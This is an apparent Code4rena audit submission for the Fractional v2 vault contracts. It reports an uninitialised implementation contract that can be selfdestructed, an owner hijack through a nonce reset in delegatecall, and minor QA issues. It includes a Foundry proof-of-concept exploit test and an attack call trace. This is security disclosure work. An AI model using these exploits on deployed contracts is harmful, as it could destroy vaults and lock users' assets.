Fractional v2 contest - 242's results

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/Vault.sol#L24=

Vulnerability details

[HIGH-01] Vault.sol: implementation contract, (deployed by VaultFactory) is left with unprotected unitialised init call that enables anyone to destroy the contract that disables all functionality.

(this is an improved version of my initial report)

If i understand this correctly

1.A user makes an entry call to create vault by calling BaseVault: deployVault (this can also be done directly through factory ? check LOW submits) 2. A new vault VaultRegistry create begins the deployment and registers a FERC1155 token along the id for vault collection tracking purposes; 3 VaultFactory, deploys as a minimal proxy clone setup, then init with transfer in proxy state.

In other words a minimal proxy is constructed by Create2ClonesWithImmutableArgs that delegates all calls to implementation in a proxy context

The critical vulnerability is that after protocol deployment, implementation contract allows anyone to gain owner access because init wasn't called on implementation side. This is the only action occurs for implementation.

There are no measures applied to prevent implementation contract from allowing init call, which makes it vulnerable to be selfdestructed, due to delegatecall exposure.

A POC of how unprotected init call enables to selfdestruct the impl contract:

function testImplementationSelfdestruct() public {
        // what's happens if somebody malicious ends up getting the implementation itself to make a call grating owner access ?
        address impl = VaultFactory(registry.factory()).implementation();
        vm.prank(address(0x242)); Vault(payable(impl)).init();

        assertEq(Vault(payable(impl)).owner(), address(0x242)); // owner gained !

        // attacker gains delegatecall execution that allows to selfdestruct by installing a malicious contract as target to be executed:
        Selfdestruct destruct = new Selfdestruct();
        address[] memory plugins = new address[](1); plugins[0] = address(destruct);
        bytes4[] memory selectors = new bytes4[](1); selectors[0] = bytes4(destruct.kill.selector); // 0x41c0e1b5

        vm.prank(address(0x242)); Vault(payable(impl)).install(selectors, plugins); // malicious contract installed

        // execute selfdestruction through fallback, that applies another possible issue. 
        vm.prank(address(0x242)); payable(impl).call(abi.encode(bytes4(destruct.kill.selector)));
    }

A destroyed implementation contract will result in breaking all proxy vaults pointing to the implementation, a new deploy vault will not be possible. and All exposed assets using the vault's functionality will be unrecoverable. A new instance of protocol setup will require to be re-deployed.

a vulnerability has been replicated in a testnet and successfully demonstrates the destruction of implementation Vault

this is achievable with a low-level call to fallback which makes attacker's contract to execute the destroyment,

To mitigate, minimal-proxy factory design, a contract must be pre-initialised or protect from gaining owner access through direct call executions. A contract using delegatecall must not expose it for implementation. Some improvements for proper initialisation would also help.

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/e2c5a962a94106f9495eb96769d7f60f7d5b14c9/src/Vault.sol#L132=

Vulnerability details

[MED-01] Vault.sol:_execute a check against owner state changes is not sufficient to prevent a malicious execution from hijacking the owner. access

Given fulfilled permission conditions, a delegatecall execution may modify the state of the owner, and is checked against it. However this can be bypassed to hijack the owner target call messes other stored data.

One way is setting the storage of nonce to 0 that re-enables init to be called again:

1. In a delegatecall state, a malicious target contract modifies storage of nonce to 0;
2. as no changes are done to owner, if (owner_ != owner) revert OwnerChanged(owner_, owner) will not revert;
3. then attacker makes a direct call to init() and becomes the owner of the impacted proxy vault.

Example call trace of module modifying state (nonce = 0), allowing init to re-initialize and hijack the owner:

  [247955] VaultTest::testExecuteMaliciousOwnerChange() 
    ├─ [46035] VaultProxy::init() 
    │   ├─ emit TransferOwnership(_oldOwner: 0x0000000000000000000000000000000000000000, _newOwner: VaultTest: [0xb4c79dab8f259c7aee6e5b2aa729821864227e84])
    │   └─ ← ()
    ├─ [124171] → new TargetMalicious1@"0xd5d5…b8b6"
    │   └─ ← 620 bytes of code
    ├─ [22710] VaultProxy::setMerkleRoot(0xd92ef952067bf35efdef4e8fd3e2b15fe104e2783c0a89c28cd20fbe378537c6) 
    │   └─ ← ()
    ├─ [4016] VaultProxy::execute(TargetMalicious1: [0xd5d575e71245442009ee208e8dcebfbcf958b8b6], 0x98e16281000000000ww
    │   ├─ [473] TargetMalicious1::changeNonceTo0(VaultProxy: [0xe9e697933260a720d42146268b2aaafa4211de1c]) [delegatecall]
    │   │   └─ ← ()
    │   └─ ← true, 0x
    ├─ [0] VM::prank(0x0000000000000000000000000000000000000242) 
    │   └─ ← ()
    ├─ [22135] VaultProxy::init() 
    │   ├─ emit TransferOwnership(_oldOwner: 0x0000000000000000000000000000000000000000, _newOwner: 0x0000000000000000000000000000000000000242)
    │   └─ ← ()
    └─ ← ()

In addition, any arbitrary changes can be done to methods/merkleRoot which imposes vulnerability further, including a delegated selfdestruct of proxy contract state to render proxy instance unusable.

(This may not be an issue if all available target calls can be trusted, and no permissioned vault transaction options are available for vulnerable execution )

If vault delegatecall executions are not allowed to modify the state, a precaution must be taken when exposing delegatecall functionality.

few LOW / QA findings:

[QA-01] TransferOwnership has no zero-address check

Notably this also allows to create a contract with locked access: deployFor createFor

Results in: emit TransferOwnership(_oldOwner: VaultFactory: [0x037fc82298142374d974839236d2e2df6b5bdd8f], _newOwner: 0x0000000000000000000000000000000000000000)

[LOW-02] Vault.Sol: fallback allows to execute any installed method to be executable

Any methods that gets installed as a plugin can be executed without hash permission as the call directs to the internal function. This may become dangerous if exposed method was meant to be callable by owner/permissioned module.

[QA-03] deploy/deployFor is callable directly

a direct call to VaultFactory does not make a register VaultRegistry

This may be intended to be deployable directly, but a new deploy will be occured by any msg.sendercaller in that case.

[LOW-04] createInCollection allows passing any token's address, which can be a fake FERC1155 or invalid

As the function expects token to pass a FERC1155, it allows setuping a vault with any token as registry. An arbitrary token may allow to more attack control for that affected vault.

This may be intended, but it's preferable to not allow user to specify address of a token that is controllable by attacker and can be exploited in Buyout and Migration

[LOW-05] createCollectionFor can setup a token controller with zero address

a controller will not be able to fulfill onlyController checks in a token if controller address was set 0.

[QA-06] deployVault can be deployed with 0 fractionSupply minted